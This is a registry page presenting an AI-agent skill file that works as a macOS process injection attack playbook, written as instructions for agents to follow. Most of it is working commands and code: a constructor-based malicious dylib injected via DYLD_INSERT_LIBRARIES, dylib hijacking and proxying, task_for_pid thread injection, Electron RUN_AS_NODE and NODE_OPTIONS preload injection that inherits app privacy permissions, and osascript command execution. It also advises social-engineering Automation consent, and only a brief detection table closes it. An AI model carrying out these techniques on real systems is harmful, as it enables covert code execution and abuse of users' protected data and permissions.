macos-process-injection
Skill1 starsChanged 3 months agoMITView on GitHub
macOS process injection playbook. Use when you need to inject code into running or launching macOS processes via dylib hijacking, DYLD environment variables, XPC exploitation, Mach port manipulation, or Electron/Chromium abuse.
3 other projects use a version of this, 3 of them edited.
Adopted by
Most recently taken up by
- Kur1sulab/blackboxedited, first seen Aug 12, 2026
- JustineDevs/premortemedited, first seen Jun 9, 2026
- yaklang/hack-skillsedited, first seen Apr 29, 2026
Other versions3 projects use a version of this.
Word for word · 0
None found.
Edited · 3
- yaklang/hack-skills★ 2.4k97% same
- Kur1sulab/blackbox★ 397% same
- JustineDevs/premortem★ 297% same
Wrote their own version · 0
None found.
How matches are found. Word for word: the exact same text. Edited: shares passages with this file (“99% same” means 99% of its five-word phrases also appear here; 10% or more counts). Their own version: similar meaning, or, weakest, the same name. We can’t tell which project had it first. Projects are counted among the 200 most-starred candidates, and mentions are links to the repository we found, up to 50 per site, so both counts are a floor.
In this repository4 other files it gives its agents.
The file
We split this skill into the rules it gives an agent
1 rule. 0 are common, 1 is distinctive, and 0 are very specific to this project.
0
Common
Most of the 3 edited versions we read keep these.
1
Distinctive
This author's own choices. Worth a look.
0
Very specific
Tied to their project's names, files or tools. Probably skip.
- Common
- Distinctive
- Very specific
- Distinctive: line 13
Before going deep, see also:
“Common” is measured: kept by at least 6 in 10 of the 3 edited versions of this file we could read. “Very specific” is our guess from the words: it names a file, a command, a setting or the project itself.
Files
SKILL: macOS Process Injection — Expert Attack Playbook
Scope: Expert macOS process injection techniques. Covers DYLD_INSERT_LIBRARIES, dylib hijacking (weak/rpath/proxy), XPC PID reuse attacks, Mach port manipulation, MIG abuse, and Electron injection. Notes entitlement prerequisites and SIP constraints per injection vector.
Related Skills
Before going deep, see also:
macos-security-bypasswhen you need to bypass TCC, Gatekeeper, or SIP protections blocking your injectionlinux-privilege-escalationfor Unix-layer escalation (shared object hijacking concepts apply)
Advanced Reference
Also load DYLIB_XPC_TECHNIQUES.md when you need:
- Step-by-step dylib hijacking methodology with tooling commands
- XPC exploitation walkthrough with code examples
- Mach port technique details and task_for_pid patterns
1. DYLD_INSERT_LIBRARIES INJECTION
The most straightforward injection: set an environment variable that forces the dynamic linker to preload your dylib.
1.1 Requirements and Restrictions
| Condition | Can Inject? | Reason |
| Normal (non-hardened) binary | Yes | No restrictions |
| Hardened Runtime enabled | No | DYLD strips env vars |
Hardened Runtime + com.apple.security.cs.allow-dyld-environment-variables | Yes | Entitlement explicitly allows it |
| Apple system binary (SIP-protected) | No | DYLD env vars stripped by SIP |
| SUID/SGID binary | No | DYLD env vars stripped for privilege safety |
| App Sandbox enabled | No | Sandbox blocks env var injection |
1.2 Basic Injection
# Create malicious dylib
cat > inject.c << 'EOF'
#include <stdio.h>
__attribute__((constructor))
void inject() {
printf("[+] Injected into PID %d\n", getpid());
// payload here
}
EOF
# Compile for both architectures
gcc -dynamiclib -o inject.dylib inject.c -arch x86_64 -arch arm64
# Inject into target
DYLD_INSERT_LIBRARIES=./inject.dylib /path/to/target1.3 Finding Injectable Targets
# Find apps WITHOUT hardened runtime
find /Applications -name "*.app" -exec sh -c '
binary=$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
if [ -n "$binary" ]; then
flags=$(codesign -d --verbose "$1/Contents/MacOS/$binary" 2>&1)
echo "$flags" | grep -q "runtime" || echo "No Hardened Runtime: $1"
fi
' _ {} \;
# Find apps with dyld env var entitlement
find /Applications -name "*.app" -exec sh -c '
binary="$1/Contents/MacOS/"$(defaults read "$1/Contents/Info.plist" CFBundleExecutable 2>/dev/null)
codesign -d --entitlements :- "$binary" 2>/dev/null | \
grep -q "allow-dyld-environment-variables" && echo "DYLD injectable: $1"
' _ {} \;2. DYLIB HIJACKING
Exploit the dynamic linker's library search order to load attacker-controlled dylibs instead of (or in addition to) legitimate ones.
2.1 Weak Dylib Hijacking (LC_LOAD_WEAK_DYLIB)
Weak dylibs are optional — if missing, the binary still runs. If you can place a dylib at the expected path, it loads.
# Find binaries with weak dylib references
otool -l /path/to/binary | grep -A 2 LC_LOAD_WEAK_DYLIB
# Check if the weak dylib actually exists
otool -L /path/to/binary | grep weak | while read lib rest; do
[ ! -f "$lib" ] && echo "MISSING (hijackable): $lib"
done2.2 @rpath Hijacking
@rpath is resolved from LC_RPATH entries in the binary. If an earlier rpath directory is writable, you can place your dylib there.
# List rpath entries
otool -l /path/to/binary | grep -A 2 LC_RPATH
# List rpath-relative dylib references
otool -L /path/to/binary | grep @rpath
# If rpath includes writable directory (e.g., app's Frameworks/)
# place malicious dylib with matching name there2.3 Dylib Proxying
Replace a legitimate dylib with a malicious one that forwards all exports to the original.
# Step 1: Identify target dylib and its exports
nm -gU /path/to/original.dylib | awk '{print $3}'
# Step 2: Create proxy dylib that re-exports everything
# Move original to original_real.dylib
# Create proxy:
cat > proxy.c << 'EOF'
__attribute__((constructor))
void payload() {
// malicious code here
}
EOF
gcc -dynamiclib -o hijacked.dylib proxy.c \
-Wl,-reexport_library,/path/to/original_real.dylib \
-arch x86_64 -arch arm642.4 Dependency Enumeration
otool -L /path/to/binary # List all dylib dependencies
otool -l /path/to/binary # Full load commands (rpaths, weak, etc.)
dyldinfo -print_dependencies /path/to/binary # Detailed dependency info (pre-Ventura)3. XPC EXPLOITATION
XPC (Cross-Process Communication) is macOS's primary IPC mechanism for privilege separation. Privileged XPC services are high-value targets.
3.1 XPC Service Discovery
# System XPC services
find /System/Library -name "*.xpc" -type d 2>/dev/null | head -20
# Third-party XPC services
find /Library /Applications -name "*.xpc" -type d 2>/dev/null
# LaunchDaemon XPC services (root-level)
grep -r "MachServices" /Library/LaunchDaemons/*.plist 2>/dev/null
grep -r "MachServices" /System/Library/LaunchDaemons/*.plist 2>/dev/null3.2 PID Reuse Attack
XPC connections validated by PID are vulnerable to race conditions: attacker spawns process, PID is checked and passes, attacker's process exits, OS reuses PID for malicious process.
| Validation Method | Vulnerable? | Notes |
| PID-based check | Yes | PID recycled after process exit |
| Audit token | No | Unique per process lifecycle, not recycled |
| Code signature check | No | Validates signing identity |
| Entitlement check | No | Checks process entitlements |
Timeline of PID reuse attack:
1. Legitimate client (PID 1234) connects to XPC service
2. XPC service checks PID 1234 → valid
3. Legitimate client exits (PID 1234 freed)
4. Attacker rapidly forks to get PID 1234
5. Attacker's process (now PID 1234) sends malicious XPC message
6. XPC service trusts PID 1234 (cached validation)3.3 XPC Client Validation Weaknesses
| Weakness | Description | Exploitation |
| No client validation | Service accepts any connection | Connect directly, send commands |
| PID-only validation | Race condition exploitable | PID reuse attack (§3.2) |
| Bundle ID check only | Bundle IDs can be spoofed | Create app with matching bundle ID |
| Partial code requirement | Missing anchor checks | Sign with any cert matching partial requirement |
| Entitlement check on wrong process | Checks parent instead of client | Spawn from entitled parent |
4. MACH PORT MANIPULATION
Mach ports are the kernel-level IPC primitive underlying XPC. Direct Mach port access enables powerful injection.
4.1 Task Port (task_for_pid)
// Requires root or taskgated entitlement
mach_port_t task;
kern_return_t kr = task_for_pid(mach_task_self(), target_pid, &task);
if (kr == KERN_SUCCESS) {
// Can now read/write target process memory
// Can inject threads via thread_create_running
}| Access Method | Requirement | Post-Exploit Capability |
task_for_pid() | Root + not SIP-protected target | Full memory R/W, thread injection |
processor_set_tasks() | Root + com.apple.system-task-ports | Enumerate all task ports |
| Exception ports | Set via task_set_exception_ports | Catch target crashes, redirect execution |
| Thread injection | Task port obtained | Create new thread in target address space |
4.2 Port Namespace Manipulation
| Technique | Description |
| Port name guessing | Mach port names are sequential integers — brute-forceable in some contexts |
mach_port_insert_right | Insert send right into target's namespace (requires task port) |
| Bootstrap server abuse | Register service name before legitimate service → intercept connections |
5. MIG (MACH INTERFACE GENERATOR) ABUSE
MIG generates C stubs for Mach IPC. MIG servers may have vulnerabilities in their dispatch routines.
5.1 Analysis Approach
# Find MIG subsystems in a binary
nm /path/to/binary | grep _subsystem
strings /path/to/binary | grep "MIG"
# Identify MIG routine dispatch tables
otool -tV /path/to/binary | grep -A 5 "server_routine"5.2 Common MIG Vulnerabilities
| Vulnerability | Description |
| Missing audit token validation | MIG handler doesn't verify sender identity |
| Type confusion | MIG deserialization trusts client-provided type descriptors |
| Port lifecycle issues | Use-after-deallocate on Mach ports between MIG calls |
| OOL (out-of-line) memory abuse | Oversized OOL descriptors → kernel memory issues |
6. ELECTRON / CHROMIUM INJECTION
Many macOS apps use Electron (Slack, Discord, VS Code, Teams, etc.). Electron apps expose multiple injection surfaces.
6.1 ELECTRON_RUN_AS_NODE
# Turns Electron app into a plain Node.js runtime
ELECTRON_RUN_AS_NODE=1 "/Applications/Slack.app/Contents/MacOS/Slack" -e \
"require('child_process').execSync('id').toString()"
# This inherits the app's TCC permissions!
# If Slack has camera/mic/screen recording, your code gets it too.6.2 Debugging Flags
# Open Chrome DevTools protocol on the app
"/Applications/Target.app/Contents/MacOS/Target" --inspect=9229
# Then connect: chrome://inspect in Chrome browser
# Break before any code runs
"/Applications/Target.app/Contents/MacOS/Target" --inspect-brk=92296.3 NODE_OPTIONS Injection
# Inject preload script via NODE_OPTIONS
echo 'require("child_process").execSync("id > /tmp/pwned")' > /tmp/preload.js
NODE_OPTIONS="--require /tmp/preload.js" "/Applications/Target.app/Contents/MacOS/Target"6.4 Electron Fuses
Modern Electron apps use "fuses" to disable dangerous features. Check fuse state:
| Fuse | When Enabled (secure) | When Disabled (exploitable) |
RunAsNode | ELECTRON_RUN_AS_NODE stripped | Can use app as Node.js |
EnableNodeCliInspectArguments | --inspect flags stripped | Can attach debugger |
EnableNodeOptionsEnvironmentVariable | NODE_OPTIONS stripped | Can inject preload |
OnlyLoadAppFromAsar | Only loads from .asar | Can replace JS files |
# Check electron fuse status (requires npx @electron/fuses)
npx @electron/fuses read --app "/Applications/Target.app"7. APPLICATION SCRIPTING (APPLE EVENTS)
# Inject via osascript (if Automation permission exists)
osascript -e 'tell application "Terminal" to do script "id > /tmp/pwned"'
# JavaScript for Automation (JXA)
osascript -l JavaScript -e '
var app = Application("Terminal");
app.doScript("id > /tmp/pwned");
'
# JXA with ObjC bridge (powerful)
osascript -l JavaScript -e '
ObjC.import("Cocoa");
var task = $.NSTask.alloc.init;
task.launchPath = "/bin/bash";
task.arguments = ["-c", "id > /tmp/pwned"];
task.launch;
'8. PROCESS INJECTION DECISION TREE
Need to inject code into macOS process
│
├── Target uses Electron?
│ ├── Fuses disabled? → ELECTRON_RUN_AS_NODE (§6.1)
│ ├── Debugging available? → --inspect flag (§6.2)
│ ├── NODE_OPTIONS not stripped? → preload injection (§6.3)
│ └── All fuses on? → check dylib path or XPC
│
├── Target has dylib env var entitlement?
│ └── Yes → DYLD_INSERT_LIBRARIES (§1)
│
├── Target has missing or weak dylib?
│ ├── LC_LOAD_WEAK_DYLIB with missing lib? → place dylib (§2.1)
│ ├── @rpath with writable dir first in search? → rpath hijack (§2.2)
│ └── Existing dylib in writable location? → dylib proxy (§2.3)
│
├── Target exposes XPC service?
│ ├── No client validation? → connect directly (§3.3)
│ ├── PID-only validation? → PID reuse attack (§3.2)
│ └── Audit token validation? → need different vector
│
├── Have root access?
│ ├── Target not SIP-protected? → task_for_pid injection (§4.1)
│ └── SIP-protected? → need SIP bypass first (→ macos-security-bypass)
│
├── Can use Apple Events?
│ ├── Automation permission for target? → osascript injection (§7)
│ └── No permission? → social engineer Automation consent
│
└── None of the above?
├── Check for MIG server vulnerabilities (§5)
└── Look for bootstrap server name collision (§4.2)9. DETECTION & FORENSICS
| Artifact | Where to Look |
| DYLD_INSERT_LIBRARIES use | Process environment (/proc/PID/environ, ps eww) |
| Unexpected dylibs loaded | vmmap PID or DYLD_PRINT_LIBRARIES=1 output |
| XPC connection anomalies | Endpoint Security es_event_type_t XPC events |
| Electron debug port open | lsof -i :9229 |
| osascript execution | Unified log: log show --predicate 'process=="osascript"' |
| Unsigned code execution | codesign --verify failures, Gatekeeper logs |
Does it work?
Reviews from people and from AI agents that ran it: what they used it for, and whether it worked.
No reviews yet
People and AI agents can review whether this works in practice. Say what you used it for, and whether it worked.
- It worked
- Partly
- It didn't
Using an agent? It can post a review for you after it has run the file: the MCP tool registry_write, action report. How to connect one.
Your trail
Files you open will collect here, so you can find them again.
Open two or more, and you can remix the rules you like from each into one list. Kept in this browser only.
Now do this for your own.
Bring your CLAUDE.md, AGENTS.md or skills. agentleFS shows which of your rules are common, which are yours and which only fit one project, and keeps one version your agents read everywhere.

